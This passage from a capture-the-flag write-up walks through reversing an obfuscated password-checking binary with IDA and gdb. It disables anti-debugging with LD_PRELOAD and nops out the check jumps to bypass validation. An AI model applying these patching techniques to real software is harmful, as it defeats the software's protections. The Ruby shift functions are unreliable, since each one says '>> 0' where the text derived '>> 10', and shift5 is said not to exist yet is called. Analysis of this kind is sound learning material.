<span class="lnr"> 7 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A1</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr"> 8 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A3</span>
<span class="lnr"> 9 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A3</span> <span class="Identifier">loc_40F0A3</span>:      <span class="Comment">; CODE XREF: sub_40911F+53BAj</span>
<span class="lnr">10 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A3</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr">11 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A5</span>
<span class="lnr">12 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A5</span> <span class="Identifier">loc_40F0A5</span>:      <span class="Comment">; CODE XREF: sub_40911F+47DAj</span>
<span class="lnr">13 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A5</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr">14 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A7</span>
<span class="lnr">15 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A7</span> <span class="Identifier">loc_40F0A7</span>:      <span class="Comment">; CODE XREF: sub_40911F+3AB1j</span>
<span class="lnr">16 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A7</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr">17 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A9</span>
<span class="lnr">18 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A9</span> <span class="Identifier">loc_40F0A9</span>:      <span class="Comment">; CODE XREF: sub_40911F+2D88j</span>
<span class="lnr">19 </span><span class="Statement">.text</span>:<span class="Constant">0040F0A9</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr">20 </span><span class="Statement">.text</span>:<span class="Constant">0040F0AB</span>
<span class="lnr">21 </span><span class="Statement">.text</span>:<span class="Constant">0040F0AB</span> <span class="Identifier">loc_40F0AB</span>:      <span class="Comment">; CODE XREF: sub_40911F+21A8j</span>
<span class="lnr">22 </span><span class="Statement">.text</span>:<span class="Constant">0040F0AB</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr">23 </span><span class="Statement">.text</span>:<span class="Constant">0040F0AD</span>
<span class="lnr">24 </span><span class="Statement">.text</span>:<span class="Constant">0040F0AD</span> <span class="Identifier">loc_40F0AD</span>:      <span class="Comment">; CODE XREF: sub_40911F+2141j</span>
<span class="lnr">25 </span><span class="Statement">.text</span>:<span class="Constant">0040F0AD</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr">26 </span><span class="Statement">.text</span>:<span class="Constant">0040F0AF</span>
<span class="lnr">27 </span><span class="Statement">.text</span>:<span class="Constant">0040F0AF</span> <span class="Identifier">loc_40F0AF</span>:      <span class="Comment">; CODE XREF: sub_40911F+1DE9j</span>
<span class="lnr">28 </span><span class="Statement">.text</span>:<span class="Constant">0040F0AF</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr">29 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B1</span>
<span class="lnr">30 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B1</span> <span class="Identifier">loc_40F0B1</span>:      <span class="Comment">; CODE XREF: sub_40911F+1D82j</span>
<span class="lnr">31 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B1</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr">32 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B3</span>
<span class="lnr">33 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B3</span> <span class="Identifier">loc_40F0B3</span>:      <span class="Comment">; CODE XREF: sub_40911F+1CB4j</span>
<span class="lnr">34 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B3</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr">35 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B5</span>
<span class="lnr">36 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B5</span> <span class="Identifier">loc_40F0B5</span>:      <span class="Comment">; CODE XREF: sub_40911F+1C04j</span>
<span class="lnr">37 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B5</span>     <span class="Identifier">jmp</span>     <span class="Identifier">short</span> $+<span class="Constant">2</span>
<span class="lnr">38 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B7</span>
<span class="lnr">39 </span><span class="Statement">.text</span>:<span class="Constant">0040F0B7</span> <span class="Identifier">loc_40F0B7</span>:      <span class="Comment">; CODE XREF: sub_40911F+1B9Dj</span>
</pre>
<p>Each of those lines bypasses the 'set the good value' line, and each of them is referred to earlier in this function. I immediately surmised that each of those locations were "bad" jumps&mdash;that is, there were thirteen or so checks that were happening, and that each one that failed would lead us back here. A thirteen character string seemed possible, where each letter was checked individually, so I started looking into it. Mak&mdash;awake once again&mdash;was not convinced.</p>
<h2>The easy start</h2>
<p>The final thing I did Friday night was look at the first check (the last one on that list), which is located at this line:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">0040ACBC</span>                 <span class="Identifier">jz</span>      <span class="Identifier">loc_40F0B7</span>
</pre>
<p>What causes that jump to fail? Long story short, it's this:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">0040AC8E</span>                 <span class="Identifier">cmp</span>     <span class="Identifier">r15d</span>, [<span class="Identifier">rbp</span>-<span class="Constant">78h</span>]
</pre>
<p>...where r15d is an unknown value, and [rbp-78h] is 0x18 (24). Let's break and see what r15 is:</p>
<pre>
<span class="lnr"> 1 </span>  ron@debian-x64 ~/cnot $ gdb -x ./gdbinit ./cnot
<span class="lnr"> 2 </span>  Reading symbols from /home/ron/cnot/cnot...(no debugging symbols found)...done.
<span class="lnr"> 3 </span>  Breakpoint <span class="Constant">1</span> at <span class="Constant">0x400710</span>
<span class="lnr"> 4 </span>
<span class="lnr"> 5 </span>  Breakpoint <span class="Constant">1</span>, <span class="Constant">0x00400710</span> in ?? ()
<span class="lnr"> 6 </span>  (gdb) b *<span class="Constant">0x0040ac8e</span>
<span class="lnr"> 7 </span>  Breakpoint <span class="Constant">2</span> at <span class="Constant">0x40ac8e</span>
<span class="lnr"> 8 </span>  (gdb) cont
<span class="lnr"> 9 </span>  Please enter your password: hello
<span class="lnr">10 </span>
<span class="lnr">11 </span>  Breakpoint <span class="Constant">2</span>, <span class="Constant">0x0040ac8e</span> in ?? ()
<span class="lnr">12 </span>  (gdb) <span class="Constant">print</span>/d <span class="Identifier">$r15</span>
<span class="lnr">13 </span>  $1 = <span class="Constant">5</span>
<span class="lnr">14 </span>  (gdb) run
<span class="lnr">15 </span>
<span class="lnr">16 </span>  Breakpoint <span class="Constant">1</span>, <span class="Constant">0x00400710</span> in ?? ()
<span class="lnr">17 </span>  (gdb) cont
<span class="lnr">18 </span>  Please enter your password: moo
<span class="lnr">19 </span>
<span class="lnr">20 </span>  Breakpoint <span class="Constant">2</span>, <span class="Constant">0x0040ac8e</span> in ?? ()
<span class="lnr">21 </span>  (gdb) <span class="Constant">print</span>/d <span class="Identifier">$r15</span>
<span class="lnr">22 </span>  $2 = <span class="Constant">3</span>
<span class="lnr">23 </span>
</pre>
<p>When I enter 'hello', it's 5, and when I enter 'moo', it's 3. It compares that value to 0x18 (24), and fails if it's anything else. We just found out the password length! And it was kind of easy!</p>
<p>By now it was about 5am on Friday night, and time for bed.</p>
<h2>Not as dumb as I look</h2>
<p>First thing Saturday morning&mdash;after three hours of sleep&mdash;I started and finished another flag&mdash;securereader. Don't get me started on securereader. I fucked up badly, and it took wayyyyyy longer than it should have.</p>
<p>Anyway, by early afternoon, I was back to working on cnot. I was pretty sure those jumps were all the 'bad' jumps, so&mdash;in what I consider my #1 decision on this entire flag, at least tied with finding/replacing the 'bad code'&mdash;I added a bunch of nop-outs to my gdbinit file:</p>
<pre>
<span class="lnr"> 1 </span>ron@debian-x64 ~/cnot $ cat ./gdbinit
<span class="lnr"> 2 </span><span class="Comment"># Set up the environment</span>
<span class="lnr"> 3 </span><span class="Statement">set</span> disassembly-flavor intel
<span class="lnr"> 4 </span><span class="Statement">set</span> <span class="Constant">confirm</span> off
<span class="lnr"> 5 </span>
<span class="lnr"> 6 </span><span class="Comment"># Disable the anti-debugging</span>
<span class="lnr"> 7 </span><span class="Statement">set</span> <span class="Constant">environment</span> LD_PRELOAD ./overload.so
<span class="lnr"> 8 </span>
<span class="lnr"> 9 </span><span class="Comment"># Put a breakpoint at the 'start' function</span>
<span class="lnr">10 </span><span class="Statement">break</span> *<span class="Constant">0x00400710</span>
<span class="lnr">11 </span>
<span class="lnr">12 </span><span class="Comment"># Run the program up to the breakpoint</span>
<span class="lnr">13 </span><span class="Statement">run</span>
<span class="lnr">14 </span>
<span class="lnr">15 </span><span class="Comment"># Verify length</span>
<span class="lnr">16 </span><span class="Statement">set</span> {int}<span class="Constant">0x040ACBC</span> = <span class="Constant">0x90909090</span>
<span class="lnr">17 </span><span class="Statement">set</span> {short}<span class="Constant">0x040ACC0</span> = <span class="Constant">0x9090</span>
<span class="lnr">18 </span>
<span class="lnr">19 </span><span class="Statement">set</span> {int}<span class="Constant">0x040AD23</span> = <span class="Constant">0x90909090</span>
<span class="lnr">20 </span><span class="Statement">set</span> {short}<span class="Constant">0x040AD27</span> = <span class="Constant">0x9090</span>
<span class="lnr">21 </span>
<span class="lnr">22 </span><span class="Statement">set</span> {int}<span class="Constant">0x040ADD3</span> = <span class="Constant">0x90909090</span>
<span class="lnr">23 </span><span class="Statement">set</span> {short}<span class="Constant">0x040ADD7</span> = <span class="Constant">0x9090</span>
<span class="lnr">24 </span>
<span class="lnr">25 </span><span class="Statement">set</span> {int}<span class="Constant">0x040AEA1</span> = <span class="Constant">0x90909090</span>
<span class="lnr">26 </span><span class="Statement">set</span> {short}<span class="Constant">0x040AEA5</span> = <span class="Constant">0x9090</span>
<span class="lnr">27 </span>
<span class="lnr">28 </span><span class="Statement">set</span> {int}<span class="Constant">0x040AF08</span> = <span class="Constant">0x90909090</span>
<span class="lnr">29 </span><span class="Statement">set</span> {short}<span class="Constant">0x040AF0C</span> = <span class="Constant">0x9090</span>
<span class="lnr">30 </span>
<span class="lnr">31 </span><span class="Statement">set</span> {int}<span class="Constant">0x040B260</span> = <span class="Constant">0x90909090</span>
<span class="lnr">32 </span><span class="Statement">set</span> {short}<span class="Constant">0x040B264</span> = <span class="Constant">0x9090</span>
<span class="lnr">33 </span>
<span class="lnr">34 </span><span class="Statement">set</span> {int}<span class="Constant">0x040B2C7</span> = <span class="Constant">0x90909090</span>
<span class="lnr">35 </span><span class="Statement">set</span> {short}<span class="Constant">0x040B2CB</span> = <span class="Constant">0x9090</span>
<span class="lnr">36 </span>
<span class="lnr">37 </span><span class="Statement">set</span> {int}<span class="Constant">0x040BEA7</span> = <span class="Constant">0x90909090</span>
<span class="lnr">38 </span><span class="Statement">set</span> {short}<span class="Constant">0x040BEAB</span> = <span class="Constant">0x9090</span>
<span class="lnr">39 </span>
<span class="lnr">40 </span><span class="Statement">set</span> {int}<span class="Constant">0x040CBD0</span> = <span class="Constant">0x90909090</span>
<span class="lnr">41 </span><span class="Statement">set</span> {short}<span class="Constant">0x040CBD4</span> = <span class="Constant">0x9090</span>
<span class="lnr">42 </span>
<span class="lnr">43 </span><span class="Statement">set</span> {int}<span class="Constant">0x040D8F9</span> = <span class="Constant">0x90909090</span>
<span class="lnr">44 </span><span class="Statement">set</span> {short}<span class="Constant">0x040D8FD</span> = <span class="Constant">0x9090</span>
<span class="lnr">45 </span>
<span class="lnr">46 </span><span class="Statement">set</span> {int}<span class="Constant">0x040E4D9</span> = <span class="Constant">0x90909090</span>
<span class="lnr">47 </span><span class="Statement">set</span> {short}<span class="Constant">0x040E4DD</span> = <span class="Constant">0x9090</span>
<span class="lnr">48 </span>
<span class="lnr">49 </span><span class="Statement">set</span> {int}<span class="Constant">0x040EB0A</span> = <span class="Constant">0x90909090</span>
<span class="lnr">50 </span><span class="Statement">set</span> {short}<span class="Constant">0x040EB0E</span> = <span class="Constant">0x9090</span>
<span class="lnr">51 </span>
<span class="lnr">52 </span><span class="Statement">set</span> {short}<span class="Constant">0x040F08C</span> = <span class="Constant">0x9090</span>
<span class="lnr">53 </span>
<span class="lnr">54 </span>cont
</pre>
<p>After like two hours of troubleshooting that code because I forgot that 'long' = 8 bytes and 'int' = 4 bytes (which Aemelianus had the pleasure to watch me fight with), eventually it worked:</p>
<pre>
<span class="lnr">1 </span>$ gdb -x ./gdbinit ./cnot
<span class="lnr">2 </span>Reading symbols from /home/ron/cnot/cnot...(no debugging symbols found)...done.
<span class="lnr">3 </span>Breakpoint <span class="Constant">1</span> at <span class="Constant">0x400710</span>
<span class="lnr">4 </span>
<span class="lnr">5 </span>Breakpoint <span class="Constant">1</span>, <span class="Constant">0x00400710</span> in ?? ()
<span class="lnr">6 </span>Please enter your password: hello
<span class="lnr">7 </span>Correct!
<span class="lnr">8 </span>
<span class="lnr">9 </span>Program exited normally.
</pre>
<p>Excellent! I can easily test any of the checks without the others interfering!</p>
<p>From here on out, I did everything in a more or less random order, and each step took a <em>long</em> time. Ultimately, however, there were four main types of checks I found: character class (upper/lower/numeric), adjacent checks, shift checks (I'll explain these later), and checksums. I solved the first three on Saturday, and the last&mdash;the hardest, the checksum&mdash;on Sunday. Let's take each of them individually.</p>
<h2>Character class</h2>
<p>The character class checks happen right here:</p>
<pre>
<span class="lnr"> 1 </span><span class="Statement">.text</span>:<span class="Constant">0040AD00</span>                 <span class="Identifier">mov</span>     <span class="Identifier">rdi</span>, [<span class="Identifier">rbp</span>-<span class="Constant">70h</span>]
<span class="lnr"> 2 </span><span class="Statement">.text</span>:<span class="Constant">0040AD04</span>                 <span class="Identifier">mov</span>     <span class="Identifier">r15</span>, <span class="Identifier">rax</span>        <span class="Comment">; both = pointers to my string</span>
<span class="lnr"> 3 </span><span class="Statement">.text</span>:<span class="Constant">0040AD07</span>                 <span class="Identifier">call</span>    <span class="Identifier">do_validation2</span>  <span class="Comment">; Validate a pattern (fully reversed)</span>
<span class="lnr"> 4 </span><span class="Statement">.text</span>:<span class="Constant">0040AD0C</span>                 <span class="Identifier">mov</span>     [<span class="Identifier">rbp</span>-<span class="Constant">68h</span>], <span class="Identifier">rax</span>
<span class="lnr"> 5 </span><span class="Statement">.text</span>:<span class="Constant">0040AD10</span>                 <span class="Identifier">mov</span>     <span class="Identifier">rax</span>, <span class="Identifier">r15</span>
<span class="lnr"> 6 </span><span class="Statement">.text</span>:<span class="Constant">0040AD13</span>                 <span class="Identifier">add</span>     <span class="Identifier">rsp</span>, <span class="Constant">0</span>
<span class="lnr"> 7 </span><span class="Statement">.text</span>:<span class="Constant">0040AD17</span>                 <span class="Identifier">pop</span>     <span class="Identifier">r9</span>
<span class="lnr"> 8 </span><span class="Statement">.text</span>:<span class="Constant">0040AD19</span>                 <span class="Identifier">pop</span>     <span class="Identifier">r8</span>
<span class="lnr"> 9 </span><span class="Statement">.text</span>:<span class="Constant">0040AD1B</span>                 <span class="Identifier">mov</span>     <span class="Identifier">r15d</span>, [<span class="Identifier">rbp</span>-<span class="Constant">68h</span>]
<span class="lnr">10 </span><span class="Statement">.text</span>:<span class="Constant">0040AD1F</span>                 <span class="Identifier">cmp</span>     <span class="Identifier">r15d</span>, <span class="Constant">0</span>
<span class="lnr">11 </span><span class="Statement">.text</span>:<span class="Constant">0040AD23</span>                 <span class="Identifier">jz</span>      <span class="Identifier">bad_place2</span>
</pre>
<p><tt>do_validation2()</tt> is about a million lines, and is actually a great place to get your feet wet with how the obfuscation works. By the end of it, I could move through pretty quickly. It calls three different functions, which are:</p>
<pre>
<span class="lnr">1 </span><span class="Constant">0x00402726</span> check_alphabetic(char c)
<span class="lnr">2 </span><span class="Constant">0x004028AC</span> check_lowercase(char c)
<span class="lnr">3 </span><span class="Constant">0x0040297E</span> check_numeric(char c)
</pre>
<p>I'm not going to dwell on how those work. Suffice to say, they're about as simple as anything is in this binary. One line in the source, and only about 150 lines in the binary!</p>
<p>Essentially, throughout this function, you'll see things like:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">00402AFD</span>                 <span class="Identifier">add</span>     <span class="Identifier">r11</span>, <span class="Identifier">rbx</span>        <span class="Comment">; add 0*8 to the offset</span>
<span class="lnr">2 </span><span class="Statement">.text</span>:<span class="Constant">00402B1E</span>                 <span class="Identifier">mov</span>     <span class="Identifier">rax</span>, [<span class="Identifier">rax</span>]       <span class="Comment">; rax = first character (&quot;a&quot;)</span>
<span class="lnr">3 </span><span class="Statement">.text</span>:<span class="Constant">00402B40</span>                 <span class="Identifier">mov</span>     <span class="Identifier">rdi</span>, <span class="Identifier">rax</span>
<span class="lnr">4 </span><span class="Statement">.text</span>:<span class="Constant">00402B43</span>                 <span class="Identifier">call</span>    <span class="Identifier">check_alphabetic</span> <span class="Comment">; Returns '1' if it's upper or lower case</span>
<span class="lnr">5 </span><span class="Statement">.text</span>:<span class="Constant">00402B50</span>                 <span class="Identifier">cmp</span>     <span class="Identifier">eax</span>, <span class="Constant">0 </span>          <span class="Comment">; '1' is good</span>
<span class="lnr">6 </span><span class="Statement">.text</span>:<span class="Constant">00402B53</span>                 <span class="Identifier">jz</span>      <span class="Identifier">bad</span>
</pre>
<p>(note that I'm leaving out the extra 'obfuscating' lines)</p>
<p>This runs through every character, one by one, with similar checks. I did a ton of debugging to see what was going on, and was able to determine the 'possible' values of each character:</p>
<pre>
Character 1  :: Letter
Character 2  :: Letter
Character 3  :: Lowercase
Character 4  :: Lowercase
Character 5  :: Letter
Character 6  :: Symbol (not letter or number)
Character 7  :: Letter
Character 8  :: Symbol
Character 9  :: Number
Character 10 :: Lowercase
Character 11 :: Letter
Character 12 :: Letter
Character 13 :: Letter
Character 14 :: Uppercase
Character 15 :: Letter
Character 16 :: Letter
Character 17 :: Uppercase
Character 18 :: Letter
Character 19 :: Symbol
Character 20 :: Letter
Character 21 :: Letter (I originally had 'lowercase', that was wrong)
Character 22 :: Letter
Character 23 :: Uppercase
Character 24 :: Symbol
</pre>
<p>In addition to character classes, a couple properties were discovered here:</p>
<ul>
<li>The fourth character had to be one higher than the tenth character</li>
<li>The twenty-first character was alphabetic, but if you subtract one it wasn't (therefore, it had to be a 'a' or 'A')</li>
</ul>
<p>So now we have a lot of properties, and an actual letter! Progress! And we have one more check that'll pass; two down, eleven to go!</p>
<h3>Adjacent checks</h3>
<p>After the character class checks, I was getting a little faster. There's a <em>ton</em> of code, but eventually you learn how it indexes arrays, and that makes it <em>much</em> easier, since you can skip by about 95% of the code.</p>
<p>This section starts here:</p>
<pre>
<span class="lnr"> 1 </span><span class="Statement">.text</span>:<span class="Constant">0040AEE5</span>                 <span class="Identifier">mov</span>     <span class="Identifier">rdi</span>, [<span class="Identifier">rbp</span>-<span class="Constant">70h</span>]
<span class="lnr"> 2 </span><span class="Statement">.text</span>:<span class="Constant">0040AEE9</span>                 <span class="Identifier">mov</span>     <span class="Identifier">r15</span>, <span class="Identifier">rax</span>
<span class="lnr"> 3 </span><span class="Statement">.text</span>:<span class="Constant">0040AEEC</span>                 <span class="Identifier">call</span>    <span class="Identifier">do_validation_5</span> <span class="Comment">; Validates adjacent letters, and their relationships to each other</span>
<span class="lnr"> 4 </span><span class="Statement">.text</span>:<span class="Constant">0040AEEC</span>                                         <span class="Comment">; rdi = pointer to string buffer</span>
<span class="lnr"> 5 </span><span class="Statement">.text</span>:<span class="Constant">0040AEF1</span>                 <span class="Identifier">mov</span>     [<span class="Identifier">rbp</span>-<span class="Constant">68h</span>], <span class="Identifier">rax</span>  <span class="Comment">; rax shouldn't be 0</span>
<span class="lnr"> 6 </span><span class="Statement">.text</span>:<span class="Constant">0040AEF5</span>                 <span class="Identifier">mov</span>     <span class="Identifier">rax</span>, <span class="Identifier">r15</span>
<span class="lnr"> 7 </span><span class="Statement">.text</span>:<span class="Constant">0040AEF8</span>                 <span class="Identifier">add</span>     <span class="Identifier">rsp</span>, <span class="Constant">0</span>
<span class="lnr"> 8 </span><span class="Statement">.text</span>:<span class="Constant">0040AEFC</span>                 <span class="Identifier">pop</span>     <span class="Identifier">r9</span>
<span class="lnr"> 9 </span><span class="Statement">.text</span>:<span class="Constant">0040AEFE</span>                 <span class="Identifier">pop</span>     <span class="Identifier">r8</span>
<span class="lnr">10 </span><span class="Statement">.text</span>:<span class="Constant">0040AF00</span>                 <span class="Identifier">mov</span>     <span class="Identifier">r15d</span>, [<span class="Identifier">rbp</span>-<span class="Constant">68h</span>]
<span class="lnr">11 </span><span class="Statement">.text</span>:<span class="Constant">0040AF04</span>                 <span class="Identifier">cmp</span>     <span class="Identifier">r15d</span>, <span class="Constant">0</span>
<span class="lnr">12 </span><span class="Statement">.text</span>:<span class="Constant">0040AF08</span>                 <span class="Identifier">jz</span>      <span class="Identifier">bad_place5</span>
</pre>
<p>Note that I'm not doing this in order; I don't have to, since I disable the checks I'm not using!</p>
<p>Inside my stupidly named <tt>do_validation_5()</tt> (I didn't know what it was going to do when I named it!), you'll see the same pattern over and over and over; it loads a letter, then the next letter, and compares them with either <tt>jg</tt> (jump if greater) or <tt>jl</tt> (jump if less):</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">00404FE2</span>                 <span class="Identifier">mov</span>     <span class="Identifier">r10</span>, [<span class="Identifier">r10</span>]       <span class="Comment">; first letter</span>
<span class="lnr">2 </span><span class="Statement">.text</span>:<span class="Constant">004050</span><span class="Constant">87</span>                 <span class="Identifier">mov</span>     <span class="Identifier">r11</span>, [<span class="Identifier">r11</span>]       <span class="Comment">; second letter</span>
<span class="lnr">3 </span><span class="Statement">.text</span>:<span class="Constant">004050</span><span class="Constant">8A</span>                 <span class="Identifier">cmp</span>     <span class="Identifier">r10d</span>, <span class="Identifier">r11d</span>
<span class="lnr">4 </span><span class="Statement">.text</span>:<span class="Constant">004050</span><span class="Constant">8D</span>                 <span class="Identifier">jg</span>      <span class="Identifier">short</span> <span class="Identifier">loc_405096</span> <span class="Comment">; good jump</span>
<span class="lnr">5 </span><span class="Statement">.text</span>:<span class="Constant">004050</span><span class="Constant">8F</span>                 <span class="Identifier">mov</span>     <span class="Identifier">ebx</span>, <span class="Constant">0 </span>          <span class="Comment">; bad</span>
<span class="lnr">6 </span><span class="Statement">.text</span>:<span class="Constant">004050</span><span class="Constant">94</span>                 <span class="Identifier">jmp</span>     <span class="Identifier">short</span> <span class="Identifier">loc_40509B</span>
</pre>
<p>If you go through this, you'll get the following relationships:</p>
<pre>
character[1]  &gt; character[2]
character[2]  &gt; character[3]
character[3]  &lt; character[4]
character[4]  &gt; character[5]
character[5]  &gt; character[6]
character[6]  &lt; character[7]
character[7]  &gt; character[8]
character[8]  &lt; character[9]
character[9]  &lt; character[10]
character[10] &lt; character[11]
character[11] &gt; character[12]
character[12] &lt; character[13]
character[13] &gt; character[14]
character[14] &lt; character[15]
character[15] &lt; character[16]
character[16] &gt; character[17]
character[17] &lt; character[18]
character[18] &gt; character[19]
character[19] &lt; character[20]
character[20] &gt; character[21]
character[21] &lt; character[22]
character[22] &gt; character[23]
character[23] &gt; character[24]
</pre>
<p>When I got to this point, Mak started writing a Prolog and also a Python program so we could take these relationships and start deriving relationships. In the end, he started working on another flag, and I never actually used these relationships to solve anything...</p>
<p>On the plus side, after the first few, it was fast going! I did the first seven or eight carefully and with a debugger, and all the rest I just blew through in about a half hour!</p>
<h3>Shift checks</h3>
<p>So, I purposely waited to work on these ones, because they called long functions, which called other long functions, which did crazy shifty stuff. After I actually started reversing, I realized that it was actually pretty easy&mdash;most of them did the same thing! Everything in this binary looks long and complicated, though.</p>
<p>Let's start with one of the innermost functions. Removing all the crap, it does this:</p>
<pre>
<span class="lnr"> 1 </span><span class="Statement">.text</span>:<span class="Constant">00400E75</span> <span class="Identifier">shift10</span>         <span class="Identifier">proc</span> <span class="Identifier">near</span>
<span class="lnr"> 2 </span><span class="Statement">.text</span>:<span class="Constant">00400EAA</span>                 <span class="Identifier">mov</span>     <span class="Identifier">rax</span>, <span class="Identifier">rdi</span>        <span class="Comment">; rax = arg</span>
<span class="lnr"> 3 </span><span class="Statement">.text</span>:<span class="Constant">00400EC8</span>                 <span class="Identifier">mov</span>     <span class="Identifier">r10</span>, <span class="Identifier">rax</span>        <span class="Comment">; r10 = arg</span>
<span class="lnr"> 4 </span><span class="Statement">.text</span>:<span class="Constant">00400ECB</span>                 <span class="Identifier">mov</span>     <span class="Identifier">r11d</span>, 0<span class="Identifier">Ah</span>       <span class="Comment">; r11 = 10</span>
<span class="lnr"> 5 </span><span class="Statement">.text</span>:<span class="Constant">00400ED2</span>                 <span class="Identifier">mov</span>     <span class="Identifier">r15d</span>, <span class="Identifier">r10d</span>      <span class="Comment">; r15 = arg</span>
<span class="lnr"> 6 </span><span class="Statement">.text</span>:<span class="Constant">00400ED5</span>                 <span class="Identifier">mov</span>     <span class="Identifier">ecx</span>, <span class="Identifier">r11d</span>       <span class="Comment">; ecx = 10</span>
<span class="lnr"> 7 </span><span class="Statement">.text</span>:<span class="Constant">00400ED8</span>                 <span class="Identifier">sar</span>     <span class="Identifier">r15d</span>, <span class="Identifier">cl</span>        <span class="Comment">; r15 = arg &gt;&gt; 10</span>
<span class="lnr"> 8 </span><span class="Statement">.text</span>:<span class="Constant">00400EDB</span>                 <span class="Identifier">mov</span>     <span class="Identifier">ebx</span>, <span class="Identifier">r15d</span>       <span class="Comment">; ebx = rdi &gt;&gt; 10</span>
<span class="lnr"> 9 </span><span class="Statement">.text</span>:<span class="Constant">00400EDF</span>                 <span class="Identifier">mov</span>     <span class="Identifier">r10d</span>, <span class="Constant">1Fh</span>       <span class="Comment">; r10 = 0x1f</span>
<span class="lnr">10 </span><span class="Statement">.text</span>:<span class="Constant">00400F00</span>                 <span class="Identifier">and</span>     <span class="Identifier">ebx</span>, <span class="Identifier">r10d</span>       <span class="Comment">; ebx = (arg &gt;&gt; 10) &amp; 0x1f</span>
<span class="lnr">11 </span><span class="Statement">.text</span>:<span class="Constant">00400F03</span>                 <span class="Identifier">mov</span>     <span class="Identifier">rax</span>, <span class="Identifier">rbx</span>
<span class="lnr">12 </span><span class="Statement">.text</span>:<span class="Constant">00400F1B</span>                 <span class="Identifier">pop</span>     <span class="Identifier">rdi</span>
<span class="lnr">13 </span><span class="Statement">.text</span>:<span class="Constant">00400F1C</span>                 <span class="Identifier">jmp</span>     <span class="Identifier">rdi</span>
</pre>
<p>Which is basically:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">return</span> (arg &gt;&gt; <span class="Constant">10</span>) &amp; <span class="Constant">0x1F</span>
</pre>
<p>Easy! There are actually a bunch of functions that do almost the same thing:</p>
<pre>
<span class="lnr">1 </span><span class="rubyDefine">def</span> <span class="Identifier">shift0</span>(c)  <span class="Statement">return</span> (c &gt;&gt; <span class="Constant">0</span>) &amp; <span class="Constant">0x1F</span>; <span class="rubyDefine">end</span>
<span class="lnr">2 </span><span class="Comment"># Oddly, there's no shift5()</span>
<span class="lnr">3 </span><span class="rubyDefine">def</span> <span class="Identifier">shift10</span>(c) <span class="Statement">return</span> (c &gt;&gt; <span class="Constant">0</span>) &amp; <span class="Constant">0x1F</span>; <span class="rubyDefine">end</span>
<span class="lnr">4 </span><span class="rubyDefine">def</span> <span class="Identifier">shift15</span>(c) <span class="Statement">return</span> (c &gt;&gt; <span class="Constant">0</span>) &amp; <span class="Constant">0x1F</span>; <span class="rubyDefine">end</span>
<span class="lnr">5 </span><span class="rubyDefine">def</span> <span class="Identifier">shift20</span>(c) <span class="Statement">return</span> (c &gt;&gt; <span class="Constant">0</span>) &amp; <span class="Constant">0x1F</span>; <span class="rubyDefine">end</span>
<span class="lnr">6 </span><span class="rubyDefine">def</span> <span class="Identifier">shift25</span>(c) <span class="Statement">return</span> (c &gt;&gt; <span class="Constant">0</span>) &amp; <span class="Constant">0x1F</span>; <span class="rubyDefine">end</span>
<span class="lnr">7 </span><span class="rubyDefine">def</span> <span class="Identifier">shift30</span>(c) <span class="Statement">return</span> (c &gt;&gt; <span class="Constant">0</span>) &amp; <span class="Constant">0x03</span>; <span class="rubyDefine">end</span>
</pre>
<p>Then those functions are called from two others (actually, three, but the third is never used in the code we care about):</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">00401E96</span> <span class="Identifier">shifter</span>()
<span class="lnr">2 </span><span class="Statement">.text</span>:<span class="Constant">00402413</span> <span class="Identifier">shifter2</span>()
</pre>
<p>I'm not going to waste your time by reversing them. They're kinda long, but fairly simple. Here is what they end up as:</p>
<pre>
<span class="lnr">1 </span><span class="rubyDefine">def</span> <span class="Identifier">shifter</span>(c, i = <span class="Constant">0</span>)
<span class="lnr">2 </span>  <span class="Statement">return</span> i | (<span class="Constant">1</span> &lt;&lt; shift10(c)) | (<span class="Constant">1</span> &lt;&lt; shift5(c)) | (<span class="Constant">1</span> &lt;&lt; shift0(c))
<span class="lnr">3 </span><span class="rubyDefine">end</span>
<span class="lnr">4 </span>
<span class="lnr">5 </span><span class="rubyDefine">def</span> <span class="Identifier">shifter2</span>(c, i = <span class="Constant">0</span>)
